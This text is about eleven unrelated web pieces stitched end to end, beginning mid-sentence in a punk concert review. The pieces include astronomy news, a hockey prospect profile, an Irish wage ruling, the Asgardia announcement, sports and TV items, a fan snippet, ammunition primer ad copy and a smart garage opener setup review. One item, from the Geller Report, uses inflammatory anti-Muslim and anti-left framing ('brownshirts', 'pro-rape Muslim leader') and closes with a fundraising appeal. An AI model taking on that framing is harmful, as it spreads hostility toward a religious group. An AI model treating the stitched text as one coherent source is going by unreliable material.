upcoming album, followed by “No Shelter”. When they played “Never Coming Home” the audience swayed, arm in arm, and when they played “Your Heart Is A Muscle” the crowd turned into a rowdy, overjoyed mob, screaming along with the songs titular promise of hope. Then they announced that the next song would be their last, and people started calling out desperate pleas for the song that mattered most to them. Someone shouted “play a Johnny Hobo song” and was promptly booed by seemingly the entire audience. The band proceeded to play “Time to Wake Up”, a song from one of Pat’s solo projects. At first, the song choice felt like an anti-climax, something subdued and a little more obscure. But as they played, something strange happened. People started crowd surfing, but not in the usual cannonball kind of way; instead, they would lean off the stage and float across the audience like a pilgrim across the dead sea. Even Charlie Schneeweis fell into the crowd, a huge grin across his face as he slowly glided across the barn. When the song reached its climax, everyone chanted the chorus with pat, singing “please wake up now, the world really needs you, desperately/ please cheer up now, we’ve been waiting for you, all your life,” before the entire band chimed in, creating a cacophony of pure serenity. I looked and, to the left of me, saw two lovers were hugging each other tightly. To my right, a man was breaking down into tears. Then, as one of the crowd surfers drifted close, and we all reached out to make their weight feel like nothing, I realized that past all the sweat stinging my eyes, I might have been crying too. But thank god that wasn’t actually the end. The band proceeded to play a tribute to Erik Peterson, giving their rendition of Departure/Arrival. Then, after the brief “Club Hits of Today Will Be The Showtunes of Tomorrow”, they played “Last Song, Part 2”. The crowd surged forward one last time, to bask in what truly felt like the conclusion of a beautiful punk legacy. They savored every moment, until the show was ended with the same line that concluded the album I fell in love with almost three years ago, “so maybe god isn’t the right word but I believe in you.” With the last song concluded, the audience started chanting “thank you Pat,” to which he bashfully approached the mike and replied “thank YOU.” It was at that precise moment that a thought struck me. Throughout the set, they had stuck to Pat’s most hopeful songs, avoiding the likes of “More About Alcoholism” and “Eulogy for an Adolescence”. The performance carried no bitterness, and hardly any real anger. Instead, all the musicians just had a constant peaceful smile, like someone reading the great ending to a good book. The final words of “Last Song” echoed through my head, and I no longer felt upset about not doing the exit interview. Over the course of half an hour, with just the hopeful words of his music, he had just given us all the explanation we needed. And with that, he gave the audience a thumbs-up and disappeared behind the painted curtain. -As part of a research team studying galaxies, two University of Maryland scientists recently helped find a wild one. It doesn't fit into the two main galaxy shape categories and is even a bit too odd to belong with those astronomers call "irregulars," although loosely speaking it is. It appears in one respect a conventional spiral galaxy, but also in a class by itself, a cosmic eccentric dropping clues about galaxies and the mysterious objects believed to lie at the center of most of them: supermassive black holes. University of Maryland astronomy professor Sylvain Veilleux and doctoral student Vicki Toy have been trailing this galaxy along with 11 researchers from other institutions, and — in a recent development in the field — help from amateur astronomers through such websites as Galaxy Zoo. Their research report appeared online last month and is scheduled to be in print next month in the Monthly Notices of the Royal Astronomical Society. Couched in the customary clusters of mathematical equations and graphs, the research report begins telling the story of a galaxy that — like nearly all of the 700,000 galaxies loosely classified so far, a fraction of the total in the universe — is identified only by catalog number: J1649+2635. It's about 800 million light years from Earth, which in astronomical terms is in the neighborhood, and about the size of our own galaxy, the Milky Way: roughly 80,000 light years across. For some sense of scale, consider that one light year — the distance light travels in a vacuum in 365 days — is nearly 6 trillion miles. That's about 100 million trips from Baltimore to California and back again. J1649+2635 is a "grand design spiral," meaning it shows well-defined spiral arms emanating in unbroken lengths from the center. In that respect it resembles the Milky Way, also a spiral, and conforms to one of the main established galaxy types. Other features, however, set it apart, challenging some standing notions about galaxies. The anomalies are yet to be explained. It has two elongated structures shooting out of it: jets or plumes of subatomic particles — mostly likely electrons and protons — that are emitting non-visible radio energy. That's odd, as such jets are usually found in elliptical galaxies, which contain stars that are older than those found in spirals. This is only the fourth spiral galaxy found so far to emit these jets. It is also the first "grand design" galaxy to show a "halo" of visible light around it, probably the glow of a vast cloud of stars. The researchers got onto J1649+2635 by following up information compiled on the Galaxy Zoo website, which allows anyone to look at images of galaxies and sort them into categories. "Without Galaxy Zoo, this object wouldn't have made it in our preliminary sample and we wouldn't have observed it at all," Veilleux said. "I was a bit skeptical of the concept at first, but the Galaxy Zoo has shown time and time again that it is a valuable resource for professional astronomers." The halo emerged as a clear structure in Toy's visual observations using the Discovery Channel Telescope in the Coconino National Forest, about 40 miles southeast of Flagstaff, Ariz. The halo that was considered a possibility from galaxy surveys came into sharp focus as Toy took repeated images in early June, the last of four trips she made to the telescope last year. "I'm taking short images," Toy said, and she would "stack them until you see a nice complete object." Confirmation of the halo and the spiral structure through visual observation were two key contributions by Veilleux and Toy to the effort that involved 12 universities and observatories, including the department of astronomy and the Joint Space-Science Institute at the University of Maryland, College Park. They could be clues about the formation of galaxies and the behavior of supermassive black holes, with masses several hundred million times the sun. These behemoths are Veilleux's chief research interest. Black holes are not exactly "holes" in the sense of empty space, but objects of great mass, with a gravitational force so powerful that they trap light and anything else in their proximity. As a result, they can't be detected through light, radio waves or other conventional means of astronomical observation, presenting a blank spot, a "hole" in the fabric of space. Astronomers usually find them by detecting the hot material in the vicinity of the hole. Scientists are still figuring out the role these objects play in the life of galaxies, but they believe that supermassive black holes lie at the center of the largest ones, including the Milky Way. (Located on an outer arm of the galaxy, the Earth is in no danger of being sucked in.) The jets are understood to be generated by the supermassive black hole at the center of the galaxy, so they "may say something about the spin of the black hole," said Philip F. Hopkins, an assistant professor of theoretical astrophysics at the California Institute of Technology. Hopkins, who was not involved in the research, said the work is "particularly important for trying to understand how those jets came to exist" and how they affect other parts of the galaxy. He wondered if the galaxy provides a snapshot of a relatively elusive transitional phase in the life of a galaxy, one that lasts only, say, a billion years or so. Veilleux said the unusual halo around this galaxy could be explained by the merger of two galaxies. "It's very unlikely that something like that could be created without a merger," Veilleux said. The spiral structure, he said, would have been formed after the merger. Scientists believe elliptical galaxies — shaped like an ellipse with no spiral arms — and the largest galaxies of all kinds have been created by mergers. This research points back to the heavens, Veilleux said, as scientists seek more galaxies with this mix of features, trying to understand just how odd J1649+2635 really is, and what it means. arthur.hirsch@baltsun.com -Kevin Connauton, the lanky powerplay specialist with both Major Junior and NCAA experience to his name, had a moderate offensive breakout in Manitoba last season as a rookie. With 11 goals and 12 assists to his name as well as a shorthanded tally late in a playoff game against Lake Erie, the former AJHL, CCHA and WHL player had a pretty successful campaign scoring-wise as both a rookie and a defenseman in the AHL. The Canucks have seldom had success drafting defensemen in the middle rounds of the NHL draft (Brett Skinner, Daniel Rahimi, Kris Fredheim, Zenith Komarniski), but Connauton, taken in the 3rd round at 83rd overall after a pretty good year at Western Michigan University, looks more to settle into the upper tier of mid-round picks. At 6’1″ 195 and just 21 years old, the Edmonton has put on some weight over the last year and may have a little more filling out to do. Christian Ehrhoff’s butler told me that the offensive defenseman was becoming a more valuable commodity in the National Hockey League, and at no point in his career was Connauton ever looked at as anything more than a potential even-strength puck mover and powerplay quarterback. The man wields an impressive shot and displays effective patience. “He was voted as having the hardest shot in the Western Conference by 45 players, management and broadcasters from the 10 clubs in the Western Conference of the WHL” his Hockey’s Future profile brags. “His best assets are his ability to make plays from the blue line and his patience and poise while in possession of the puck. Connauton has a smooth stride and good foot speed.” To eliminate all the buzz words and clichés, the important takeaway from the profile is that he has a good shot, can control the puck and is a good skater. Despite the fact that we won’t see him for any length of time with the Canucks anytime soon, here are his NHL equivalents over the last three seasons with Western Michigan, Vancouver Giants and Manitoba Moose: Season GP G PTS G/82 – NHL P/82 NHL 2009 40 7 18 6 15 2010 69 24 72 9 26 2011 73 11 23 5 11 Not much of a sexy takeaway. His meteorotic spike in the 2010 season was helped along thanks to a terrific Vancouver Giants club under head coach Don Hay. That team has pumped out some impressive names of offensive defensemen, particularly Cody Franson, Andrej Meszaros and Jonathon Blum, all of whom are set to be regular NHLers this upcoming season. Five goals is the benchmark for any competent offensively rearguard in the NHL, but, given Connauton’s age, he’ll likely improve. The eagle-eyed reader will note that Connauton’s point total is not too far ahead of his goal total which means that Connauton may have some difficulty moving the puck, but as we know, the key to many defensemen’s assist total is from the play of the forwards in front of him and their ability to create offense. There weren’t a wealth of forwards who could create offense on the Moose last season, so I’m willing to put some money that Connauton’s on-ice teammates had a pretty low shooting percentage. Connauton will likely spend this season in Chicago with the Wolves. It will be his sixth city in six years of upper-level hockey, so the adjustment to a new system under a new coach may take a little more time. Hopefully Craig MacTavish can emphasize the right parts of his game to offer Mike Gillis as a bit of insurance in the unlikely case that six or seven of the Canucks top defensemen go down at some point during the season (like that will ever happen). His constant year-to-year movement is a likely reason why Connauton has turned to the online world to build friendships. His twitter account can be found @k_nauts and it appears as if the young defenseman has gotten off to a good start finding his place within the classy establishments within the city of Vancouver. -The High Court has ruled that the Joint Labour Committee system of setting wages for lower paid workers is unconstitutional. The case had been taken by John Grace Fried Chicken of Cork and the Quick Service Food Alliance, who represent a group of fast food outlets. The restaurants argued that the JLC system was unconstitutional, unfair and breached their property rights. However, the State defended the JLCs as legally sound and reasonable in protecting the rights of low paid workers. Mr Justice Kevin Feeney found that there were insufficient principles and policies in the legislation governing JLCs to permit them to operate constitutionally. This means that the legislation gave the Labour Court and JLCs too much power without adequate guidance and supervision by the Oireachtas. Plaintiff John Grace of the Quick Service Food Alliance welcomed the ruling. Mr Grace said his members had no plans to cut the wages of existing staff but that new recruits would be employed on lower terms. He said the move would be good for business and would create jobs. 'We are confident that many businesses will not only be more stable as a result of the decision but will be enabled to take on new staff,' Mr Grace added. The ruling could have significant implications for the Government's plans to reform wage setting mechanisms governing pay and conditions for around 200,000 workers in sectors including contract cleaning, security, hotels, restaurants and hairdressing. Reaction Taoiseach Enda Kenny said that the Government will be studying the High Court judgment over the coming days and will decide on what is the best course of action to deal with it and its implications. Mr Kenny said that the Attorney General and ministers are studying the 42-page judgment, which he said is quite detailed. He said the court had made its decision based on the historic introduction of the Employment Regulation Orders (EROs) arising from the JLC legislation which is very old. Meanwhile, Minister for Jobs Richard Bruton has pledged to introduce interim legislation to protect vulnerable workers. He said the court decision underlined that the system needed reform. While he could not give a timeframe for when the interim legislation would be introduced, he said that the intention would be to provide protection for the employment regulation orders governing sectoral wages while his reform package was being put in place. He said that the interim legislation would cover both existing employees and new recruits. Elsewhere, opponents of the reform proposals argue that they will result in widespread poverty for low paid workers, who will see cuts in their overtime and premium rates of pay. SIPTU Vice-President Patricia King said that the ruling is 'devastating news' for low paid workers. She said: 'It's the case of all their birthdays coming at once for the most unscrupulous employers in the State who are now free to plunder the wage packets of poorly paid workers.' However, the ruling has been welcomed by Chambers Ireland, which said it should help create more jobs. -16th October 2016 The world's first nation state in space At a press conference in Paris this week, plans were announced for the creation of 'Asgardia' – the first nation state in outer space. Credit: Asgardia Named after the city of the skies in Norse mythology, Asgardia is a space-based nation proposed by Dr Igor Ashurbeyli, founder of the Aerospace International Research Centre (Vienna), and Chairman of UNESCO's Science of Space committee. The concept is aimed at creating a new framework for how space activities are regulated and owned, ensuring that "the future of space is peaceful and done for the benefit of humankind." Dr Ashurbeyli, one of the Russian Federation's most distinguished scientists, has consulted globally renowned scientists, engineers, entrepreneurs and legal experts on the development of the concept. The project's official website is currently requesting people to register for "citizenship" with the aim of applying to the United Nations for official recognition as a nation state. Already, hundreds of thousands have signed up. As a first step, the organisation plans to crowd-source a satellite for launch in 2017, sixty years after Sputnik 1, the first ever satellite. This will mark a new era in the space age, the organisation claims, as the satellite will be independent of any current nation state on Earth: the satellite will comprise the nation itself – creating its own legal system, flag and other symbols of nationhood. "The project's concept comprises three parts – philosophical, legal and scientific/technological," Dr Ashburbeyli explained. "Asgardia is a fully-fledged and independent nation, and a future member of the United Nations – with all the attributes this status entails. The essence of Asgardia is 'Peace in Space', and the prevention of Earth's conflicts being transferred into space. "Asgardia is also unique from a philosophical aspect: to serve entire humanity and each and everyone, regardless of his or her personal welfare and the prosperity of the country where they happened to be born. The scientific and technological component of the project can be explained in just three words – peace, access and protection. The scientific and technological envelope of Asgardia is a space arena for the scientific creativity of its citizens and companies in developing a broad range of future space technologies, products and services for humanity on Earth and humanity in space." In recent years, access to space has been opening up, but the process remains slow and is tightly controlled by states on Earth, restricting commerce and scientific developments by private enterprise. Of the 196 nation states, just thirteen (China, France, India, Iran, Israel, Japan, North Korea, Russia/former USSR, South Korea, UK, Ukraine, USA) and one regional organisation (the European Space Agency, ESA) have independently launched satellites on their own indigenously developed launch vehicles. Professor David Alexander, Director of the Rice Space Institute at Rice University in Texas: "As low-Earth orbit becomes more accessible, what's often called the 'democratisation' of space, a pathway is opening up to new ideas and approaches from a rich diversity of participants. The mission of Asgardia to create opportunities for broader access to space, enabling non-traditional space nations to realise their scientific aspirations is exciting." Under current international space law, including the widely adopted Outer Space Treaty, states are required to authorise and supervise national space activities, including the activities of commercial and not-for-profit organisations. Objects launched into space are subject to their nation of belonging and if a nation launches an object into space, that nation is responsible for any damage that occurs internationally and in outer space. Asgardia aims to create a new framework for ownership and nationhood in space, adapting current laws governing responsibility, private ownership and enterprise so they are fit for purpose in the new era of space exploration. By creating a new "space nation", private enterprise, innovation and the further development of space technology to support humanity could flourish, free from the tight restrictions of state control that currently exist. Professor Ram Jakhu, Director, Institute of Air and Space Law at McGill University, Montreal, Canada: "An appropriate and unique global space legal regime is indispensable for governing outer space in order to ensure it is explored on a sustainable basis, for exclusively peaceful purposes and to the benefit of all humanity – including future generations living on planet Earth and in outer space. The development of foundational principles of such a legal regime ought to take place at the same time as technological progress is being made." One of the early developments planned by Asgardia's team will be the creation of a state-of-the-art protective shield for all humankind from cosmic manmade and natural threats to life on Earth such as space debris, coronal mass ejections and asteroid collisions. There are estimated to be more than 20,000 traceable objects of man-made space debris (MSD) including non-active spacecraft, upper-stage rockets and final stage vehicles, as well as fragments of craft that potentially pose a danger in near-Earth orbits. The impact of the Chelyabinsk meteorite which crashed over a Russian town as recently as 2013, injuring 1,100 people and damaging 4,000 buildings, is a reminder of the threat that natural objects pose to life on our planet. Whilst steps have already been taken by the UN and the Space Mission Planning Advisory Group (SMPAG) to identify potentially hazardous scenarios, Asgardia will build on these developments to offer a more comprehensive mechanism. Dr. Joseph N. Pelton, former Dean of the International Space University in Strasbourg, France: "The Asgardia project, among other things, may help prepare better answers to the future governance of outer space – a topic of major concern to the United Nations. The exciting aspect of this initiative is its three phase approach to providing broader access to space; promoting peace in outer space; and addressing cosmic hazards and planetary defence." The Asgardia Project Team will comprise a collaborative, multi-disciplinary effort from leading experts around the globe which it is envisaged will grow over time as the project evolves. But as well as expert involvement in the project, Asgardia is looking to capture the wider public imagination by crowd-sourcing key aspects of the missions and involving members of the public in competitions – for example, to help design the nation's flag, insignia and other symbols of nationhood. To coincide with the press conference, a website with further details was launched at www.asgardia.space. The project can also be followed on Twitter where updates will be provided, along with interaction between the Asgardia team and members of the public. --- • Follow us on Twitter • Follow us on Facebook Comments » -Recently Football Outsiders (FO) ranked the Arizona Cardinals as having the best defense in the NFL. Yes, that is over the 9-0 Chiefs with their super stingy defense that has allowed only 12.3 points a game and over Houston's top ranked statistical defense that was allowing (before this weekend's game) only 273.5 yards per game. They even rank Arizona over the highly touted and media loved 49ers and Seahawks defenses. When reading this my first thought was how? The Cardinals have allowed the 11th most points in the NFL and the eighth most yards-per-play (food for thought, the Browns lead the league at 4.5 yard per play). So why are the Cardinals the top ranked defense? Turnovers are the name of the game and are the biggest reason why the Cardinals lead FOs DVOA rankings for the best defense in the NFL. (Learn more about their DVOA rankings here) Before this week the Cardinals averaged 2.3 turnovers per game and on the year have recovered eight of 11 fumbles and have 12 interceptions for a total of 20 turnovers. FO also states that Arizona has been excellent on second, third and fourth downs this season all while facing the leagues fourth hardest schedule of opposing offenses. Some of this is surprising. Many fans haven't been happy with the play of the secondary past Patrick Peterson but according to FO the secondary has done a very good job despite the teams failure to cover TEs. FO dropped this little gem as support of their argument, the Cardinals rank fourth against team's number.one receivers and sixth against their number two. So while the Cardinals defense has some weaknesses and holes overall the unit has been performing at an elite level. According to ESPN the Cardinals are tied for 13th in sacks, fifth in passes defended, tied for fifth in interceptions (10 teams have 12 or 13 INTs) and tied for fifth with seven other teams in eight forced fumbles recovered. Overall the defense is ranked 13th in average yards allowed per game, 19th against the pass and third against the run. These stats are not weighed like FOs but do give some perspective on the hard numbers of the Cardinals defense. So while ESPN doesn't list the Cardinals as an elite defense it is good to read that using FOs statistical model the Cardinals defense is as good as they have looked during games. Considering the schedule the Cardinals have played and the negativity many fans (myself included) had towards the defense and Todd Bowles coming into the year the Cardinals have shown that not only are they better than last year, they are elite. Now it's time to get FOs 29th ranked offense into gear and make a playoff push. -Welcome to “Remote Controlled,” a podcast from Variety about the world of TV and talent behind the screen. In this week’s episode Variety executive editor of TV Debra Birnbaum and editor at large Michael Schneider talk to Greg Berlanti, the mastermind behind TV’s biggest comic book shows including “Supergirl,” “Arrow” and “The Flash,” as well as “Blindspot” and the upcoming “Riverdale.” Berlanti talks candidly about the process of moving “Supergirl” to a “new network and new city.” During Season 1 the show aired on CBS and was filmed in Los Angeles. For Season 2 the show moved to the CW and filmed in Vancouver. He also revealed plans for a crossover episode between the “Supergirl,” “Flash” and “Arrow” universes. For more, listen to the full episode of “Remote Controlled” below. “It is kind of over four nights,” Berlanti said of the three-show crossover. “[Supergirl is] in a whole other universe so they have to go retrieve her.” He added, “It’s also ‘Supergirl’s’ winter finale because the show is premiering a week later. So a bulk of the story in that episode is still paying off things that’s happening in the fall, and then she kisses into the larger story and she’s very much an active part of the crossovers across the three shows.” Related ICG Publicists Awards Honor Jamie Lee Curtis, Jon M. Chu and Greg Berlanti Broadcast Networks Brace for Big Decline in Pilot Orders The producer and writer also talked about the process of juggling so many shows at once. “There’s always at least one or two episodes across any of the shows — and a never really know what it’s going to be — that I’m more intimately involved with,” Berlanti said. “It helps me stay connected to the show and, no, I’m not that way on every episode of every show. I just couldn’t be. But it also allows me a different sort of vantage point.” He admitted that, as someone who stops by to lend his perspective, his influence has the potential to be treacherous. “It’s really easy in this job to be destructive,” he said. “I try and be helpful, and still help them interpret what it is they want to do.” A new episode of “Remote Controlled” will be available every Friday. -And to be the one to tell them to do it, even if not directly... Enjoy your sub >u> "Shiiinkii~♥ Look up, a mistletoe~ You know what that means, right~?""Mima, what in the word-""You know, as the tradition goes, if two people stand under a mistletoe, they should kiss.""What- wait M-Mima let go--!""It's tradition, Shinki~ As a goddess, you should respect traditions, right~♥? (that's actually a lie)""N-no, let go, LET GO-""You seem to have fun, don't you. Is it alright for a Miko to just let a goddess from another world and an evil spirit make out in front of the shrine?"It's fine, it's fine~ As long as I don't find my sheets all wet next morning, they can do whatever they want.""You sure take it easy, eh...""L-Lady Shinki...."---.....IDK. Something ridiculous I just thought up, lol. Dedicated to , because I can ♥ *shot* Early Merry Christmas, ILU, Mew-chan~Mima, Shinki, Hakurei Reimu, Kazami Yuka, Yumeko (Touhou Project) (c) ZUN -Being a leader in both the firearms and ammunition industry Remington knows how important it is to have the highest quality ammunition available to make your firearm perform to its fullest potential. This starts with using the best components possible to manufacture ammunition. These are the same primers Remington uses in the production of their own ammunition and performs to their highest standards. If you want the best possible out of your firearm you have to start with the best that’s why reloaders choose Remington components for their loads. Within every Remington primer is a group of subcomponents assembled to exceptionally tight tolerances. Primer cup dimensions are controlled to .0001", and the priming mix is specially formulated for consistent ignition with a wide variety of powder types. Primers are tested for reliability from -20 degrees F to +150 degrees F. The unique tripod anvil design creates a larger strike area with maximum sensitivity, even with off center firing pin strikes. Warning: Remington does not recommend this primer for use in the 17 Remington, 222 Remington, 223 Remington, 204 Ruger, 17 Remington Fireball. Use the 7-1/2 Small Rifle Bench Rest primer in these cartridges. This 6-1/2 Small Rifle primer is primarily designed for use in the 22 Hornet. -Typical of the left: “Antifa,” ironically enough, stands for anti-fascist. But their violence and thuggery define fascism. Now we find that these brownshirts are openly defending this racist and supremacist pro-rape Muslim leader. Where is the SPLC to declare them a “hate group”? Previously at The Geller Report: ‘Australian women need Muslim men to fertilize them,’ says halal food chief in Facebook rant “With friends like these … Left-wing extremist group DEFENDS halal boss’ claims Australian women need Muslim men to fertilise them – calling critics ‘racist,'” by Stephen Johnson, Daily Mail Australia, July 31, 2017 (thanks to The Religion of Peace): A violent, left-wing extremist group has defended a leading Islamic businessman’s claim Australian women need Muslim men to fertilise them, calling his critics ‘bigots’ and ‘racists’. Halal Certification Authority president Mohamed Elmouelhy told his Facebook followers Australia’s white race would die out within 40 years. He added that with Australian men a ‘dying breed’, local women needed Muslim men to ‘fertilise them’ and ‘keep them surrounded by Muslim babies’. Despite the outcry on social media last week, left-wing extremist group Antifa has described Mr Elmouelhy’s critics as ‘bigots’, even though he had called for ‘bigots’ to commit suicide. ‘Racists attacking Mohamed Elmouelhy – more Muslim babies is a good thing. Bigots,’ it said on Facebook. This is the same group which claimed responsibility in June for spraying conservative Sky News commentator Andrew Bolt with glitter at a book launch in Melbourne. Less than eight weeks later, they are weighing into more controversy by defending Mr Elmouelhy, who was commenting on Hebrew University in Jerusalem publishing research which showed sperm counts in men from Australia, New Zealand, North America and Europe had declined by more than 50 per cent in less than 40 years. ‘Your men are a dying breed, Australian women need us to fertilise them and keep them surrounded by Muslim babies while beer swilling, cigarette smoking, drug injecting can only dream of what Muslim men are capable of,’ he said. ‘Muslims have a duty to make your women happy.’ Mr Elmouelhy, who is the president of Halal Certification Authority, said Australia’s white race ‘will be extinct in another 40 years’ if the country is ‘left to bigots’. … The Truth Must be Told Your contribution supports independent journalism Please take a moment to consider this. Now, more than ever, people are reading Geller Report for news they won't get anywhere else. But advertising revenues have all but disappeared. Google Adsense is the online advertising monopoly and they have banned us. Social media giants like Facebook and Twitter have blocked and shadow-banned our accounts. But we won't put up a paywall. Because never has the free world needed independent journalism more. Everyone who reads our reporting knows the Geller Report covers the news the media won't. We cannot do our ground-breaking report without your support. We must continue to report on the global jihad and the left's war on freedom. Our readers’ contributions make that possible. Geller Report's independent, investigative journalism takes a lot of time, money and hard work to produce. But we do it because we believe our work is critical in the fight for freedom and because it is your fight, too. Please contribute to our ground-breaking work here. Make a monthly commitment to support The Geller Report – choose the option that suits you best. Contribute Monthly - Choose One Subscriber : $18.00 USD - monthly Contributor : $36.00 USD - monthly Patron : $50.00 USD - monthly Silver member : $100.00 USD - monthly Gold member : $250.00 USD - monthly Platinum member : $500.00 USD - monthly -A few weeks ago, I wrote an article talking about several smart garage door openers. In it, I ended up picking the Linear GoControl as my favorite. One of the smart openers that I didn’t really get into, though, was the Garadget. Why didn’t I include this smart garage door opener? Honestly, I just didn’t find a lot about it at the time. It seemed to be a newcomer to the playing field and I wanted to focus on devices that had been around for a while. It only had 70 something odd reviews on Amazon, compared to hundreds for other garage door openers. A few days ago, I got a message on DadInASmartHome’s Facebook page asking me to review it. I’m always open for review requests, so I started checking it out. Then I noticed that the person who messaged me was none other than the founder himself, Denis Grisak. After talking with Denis for quite a while, it was evident that he was someone that stood behind his product. He had designed Garadget on his own to meet the same need that I had when I first got into smart homes: wanting to know whether or not I closed the damn garage door before I left. I jumped into learning more about the Garadget itself. It started with a very successful kickstarter campaign. Denis then started posting updates as soon as the process started. At some point in the process, he even posted about how to create your own home-grown Garadget. On top of all of that, there’s a Github repo with the firmware. It was clear that the community around this device was actually thriving, primarily due to how committed Denis was to his users. I then started looking at the technical specs of Garadget. Once connected through the app, the device talks over WiFi. Instead of having to run a door sensor like other garage door openers use, Garadget uses a laser pointed at your garage door to determine if it’s open or not. While integration with SmartThings isn’t as simple as some other devices, it is possible to get it integrated (we’ll step through this shortly). IFTTT works well and Amazon Echo support is coming soon. For the latest list of devices they support, check out this page on their website. To power the device, you simply plug it into an outlet using the supplied plug and USB cord. Setup does get a little tricky, in that it requires you to wire it directly into your garage door opener. This is going to be the case with almost every smart garage door opener you purchase that isn’t already part of your dumb garage door opener (we’ll step through this too, shortly). The device has an Android app, an iPhone app and an awesome webpage for you to control it. It also does not require a hub. The more I read, the more I became interested. I reached out to Denis and asked him if I could have a review unit to test. He promptly sent it out to me and here I am now. Note: I know I mentioned it above, but I wanted to make it clear that I was supplied a review unit for this article. I’ve mentioned it before that my initial reasoning for wanting a smart home was so I could automate my garage door. I’m not sure why it took me so long to get to this point, but I’m excited to finally start this chapter of my smart home adventure. Step 1 – Unboxing Denis has mentioned before that he wanted to keep the packaging eco-friendly. Our plan is to minimize the environmental impact by relying on the recycled materials and minimal ink. Garadget’s packaging is going to be a molded pulp tray (think egg carton) inside of corrugated brown box with black print. – source Let’s look at what you get in the box. The packaging is very clean. Along with the hardware, you also get a letter from Denis talking about the Garadget. In the box is the Garadget itself, a usb cable and power plug, 2 double-sided adhesive pads, 2 reflective pads, some cable to connect to your current garage door opener, and a tiny little screwdriver for the wire insert. The actual device itself is about the same size and weight as a laptop mouse. The material it’s made out of doesn’t seem very fancy, but it does feel solid. For something that is going to live in my garage, I’m not concerned about it being pretty. I want it to last a long time. No-frills plastic will do just that. The laser and sensor are at the front of the device. The back has the micro-USB port for power and the plugs for the control wire. The buttons on top let you reset the device and change the mode. There’s also an LED that lets you know the current status. The bottom of the device doesn’t have any buttons or ports, but it does have the mounting surface. Step 2 – App Install Note: If you want to go through setup instructions directly from the source, check out this page on the Garadget website. A big reason for having one of these is the ability to not only control it from my phone, but also to check on the garage door itself. The app will let me do that no matter where I am. To start things off, let’s download the app. iPhone Download – Android Download I’ll be going through the Android app. You’ll also want to make sure that your Garadget is plugged in at this point. There’s no need to have it in your garage since we’re just going to get it linked to the app. Keep it alongside you for now. When you first download the app, you’ll have to create an account. After doing that, you’ll be greeted by the following screen: Since we don’t have any garages added yet, it’s just blank. Let’s add our garage door opener. Click on the Add Door button at the bottom. Follow those instructions and click on Ready. Your Garadget is going to create its own Ad-hoc wifi network. We are going to want to connect to it directly so we can update the settings on the device. Select the network that starts with Photon here. The app is now going to ask you what network your house internet connection is on. The reason Garadget needs this is so it knows where it should connect to for internet access. After selecting your house wifi and entering the proper credentials, the app goes off and does a bunch of setup stuff. Once all is said and done, you’ll see the following screen: Your phone will also switch back to your house wifi at this point. Now that we are all set up, your screen should show a garage door on it. One of the things I really like about the app is all the triggers and alerts you can set. You can be notified every time the door opens, or closes. You can be notified if the door is open between certain times. There’s a lot to play with here. I chose to be notified if the door is open between 10:00pm and 6:00am. I did have some minor issues with the Android app. I wasn’t the biggest fan of the interface when trying to change the settings of the device. Every time I tried to change the name, it would show a loading circle and move my cursor over. It also seemed like the app would sometimes get out of sync with the actual device. Fortunately for us, there is a beta build of the Android app on the forums that I’ve heard solves a lot of quirks. Step 3 – Device Install Important Note and Warning: If you are not comfortable doing electrical work, please hire a professional to wire your Garadget into your garage door opener. The $60 it’d cost to have someone knowledgeable do this is much cheaper than the hospital costs of you potentially messing up and shocking yourself, or worse, you killing yourself. Please don’t start a fire. This part involves you finding the proper terminals to plug the Garadget into, as well as getting it attached to your ceiling. Note: If you have a Security+ 2.0 opener, follow this guide to get your Garadget set up. You first need to find where your current remote attaches to. Here’s a picture of what my garage door opener looks like. It’s hard to see, but my garage door opener plugs into Push Button and Com. You can now take the wires that came with Garadget and plug them into each one. You can then take those same wires and plug them into the Garadget itself. An area of improvement for the Garadget team are the wires themselves. Since one end of the wire loom is guaranteed to plug into your Garadget and polarity doesn’t matter, they should add an easier connector so you don’t need to deal with the screwdriver and tiny wire ports. I did find my wire ends to be a bit long, so I ended up snipping them a little bit until I didn’t have much exposed wire on either end. At this point, let’s plug everything in and test our connection. No need to mount it just yet. I loaded up the app on my phone and clicked on my button. Much to my excitement, my garage door closed! Pressed it again and the garage door opened. Seems pretty straight forward. Step 3 – Add the Laser Tag I believe the proper term is reflective tag, but I really wanted to say Laser Tag. I recommend using some tape to add the reflective tag at first so you can make sure you have it lined up correctly before you permanently affix it to your garage door. As soon as you plug your Garadget in, it will start pulsing its laser. You can use this to determine where you want to mount it. I ended up putting mine on the far left of my garage door opener. I also put my reflective tape on the top of my garage door. Please excuse my dirty car. You can see the circular reflective tape on the top of my garage door, about half-way across. Step 4 – SmartThings At this point, you are set up and good to go. You can now control and check the status of your garage door from the convenience of your phone. How awesome is that! Once I had this set up, I wanted to go to the next step and get it integrated with my SmartThings hub. I’ve said it over and over again that I don’t want to have to use a whole bunch of different apps if I don’t have to. I was very excited to hear that Garadget does have SmartThings support, even if it means having to do a little extra work to get it set up. Follow this guide to get the device imported into your SmartThings account. I didn’t take screenshots along the way, but here it is step-by-step. Log into https://graph.api.smartthings.com/login/auth Click on My Device Handlers and add a new device handler. Click on From Code at the top and paste everything from this webpage. Literally, select everything on that page and paste it into the box. Click on My SmartApps and add a new SmartApp. Click on From Code at the top and paste everything from this webpage. Literally, select everything on that page and paste it into the box. Once it’s added, click on the title of your new app. You’ll be taken to a new page. On the right hand side, you’ll find a button labeled App Settings. Click on that. Scroll down to OAuth and enable that. Then click the Update button on the bottom. You then want to go back to that same webpage from Step 6 and click on the Publish button. Select For Me. If you’ve done all of this correctly, the status of your SmartApp will be Published and it will say true in the OAuth column. You’ll now want to go to My Device Handlers. Click on the title of your device and publish it the same way you published the SmartApp. Once all that is done, we’re going to go into the SmartThings app on your phone. Click on Marketplace and scroll to the bottom to find + My Apps. If you don’t see My Apps listed there, log out of the app and log back in. If you still don’t see it, you’re probably having the same issue I did at first. Fortunately, it’s easy to fix. Go back to the SmartThings website from earlier. Click on My Locations and click on your home. You’ll probably have to log in again. Once logged in, repeat the steps I mentioned above starting at Step 2. Done correctly, you’ll find My Apps listed at the bottom. Once clicking on My Apps, you’ll see the following screen. Click on the Garadget link there. Put the same credentials you use to log into your Garadget account. Click Next to go to the next screen. You’ll be walked through setup. Click on Select Device to find your Garadget. If you have more than one, you’ll see them all listed on the following screen. Once you’ve made it through everything, you’ll see Garadget listed in your SmartApps tab. You’ll now see your Garadget listed in the device listing for your hub. Click on that to see all your options. As you can see, SmartThings exposes enough settings that you don’t necessarily need to go back to the official Garadget app. This is perfect for someone like me who only wants to deal with 1 app for everything. While using it, I also found it to be a bit more accurate as far as knowing when the door is up or down. Step 4A – Website If you don’t want to deal with apps on your phone, there’s also an awesome website that Denis has built to manage your garage door openers. You can find it at 